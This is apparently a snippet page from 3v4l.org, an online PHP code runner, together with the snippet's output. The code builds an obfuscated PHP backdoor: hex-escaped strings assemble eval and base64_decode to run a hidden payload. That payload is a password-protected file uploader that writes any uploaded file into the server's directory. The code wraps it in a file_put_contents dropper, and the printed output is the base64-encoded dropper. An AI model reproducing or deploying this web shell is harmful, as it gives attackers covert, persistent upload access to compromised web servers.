3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $u = '<?php $a="\x65"."v\x61"."l"; $b="\x62\x61"."s"."\x656"."4_\x64\x65"."\x63o\x64"."\x65";$a($b(aWYoIWlzc2V0KCRfUE9TVFsncGFzc3dvcmQnXSl8fG1kNSgkX1BPU1RbJ3Bhc3N3b3JkJ10pIT09J2QyY2ZjYjc0NWE3NGFiOGNjZGNkOWUxZTYzZTUzNGQyJylkaWU7JHBhdGg9Z2V0Y3dkKCkuJy8nLmJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTtpZihAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aCkpe2VjaG8gJ09rJzt9));'; $v = 'file_put_contents("upload",\'' . $u . '\');'; echo base64_encode($v);
Output for 4.3.0 - 5.6.28, hhvm-3.10.0 - 3.12.0, 7.0.0 - 7.1.0
ZmlsZV9wdXRfY29udGVudHMoInVwbG9hZCIsJzw/cGhwICRhPSJceDY1Ii4idlx4NjEiLiJsIjsgJGI9Ilx4NjJceDYxIi4icyIuIlx4NjU2Ii4iNF9ceDY0XHg2NSIuIlx4NjNvXHg2NCIuIlx4NjUiOyRhKCRiKGFXWW9JV2x6YzJWMEtDUmZVRTlUVkZzbmNHRnpjM2R2Y21RblhTbDhmRzFrTlNna1gxQlBVMVJiSjNCaGMzTjNiM0prSjEwcElUMDlKMlF5WTJaallqYzBOV0UzTkdGaU9HTmpaR05rT1dVeFpUWXpaVFV6TkdReUp5bGthV1U3SkhCaGRHZzlaMlYwWTNka0tDa3VKeThuTG1KaGMyVnVZVzFsS0NSZlJrbE1SVk5iSjJacGJHVW5YVnNuYm1GdFpTZGRLVHRwWmloQWJXOTJaVjkxY0d4dllXUmxaRjltYVd4bEtDUmZSa2xNUlZOYkoyWnBiR1VuWFZzbmRHMXdYMjVoYldVblhTd2tjR0YwYUNrcGUyVmphRzhnSjA5ckp6dDkpKTsnKTs=